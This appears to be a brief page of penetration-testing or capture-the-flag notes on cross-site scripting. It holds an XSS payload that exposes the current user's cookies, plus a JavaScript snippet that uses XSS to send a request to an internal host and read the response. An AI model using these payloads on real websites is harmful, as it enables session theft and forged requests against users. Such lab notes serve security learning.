XSS
Stealing cookies of the current user
<script>alert(document.cookie)</script>Places to check for XSS
XSS to CSRF
var url1 = "http://internal.dnoscp.htb";
var req1 = new XMLHttpRequest();
req1.open("GET", url1, false); // open(<request method>, <target url>, <go to next withoput completing this line>)
req1.send();
var resp1 = req1.responseText;Last updated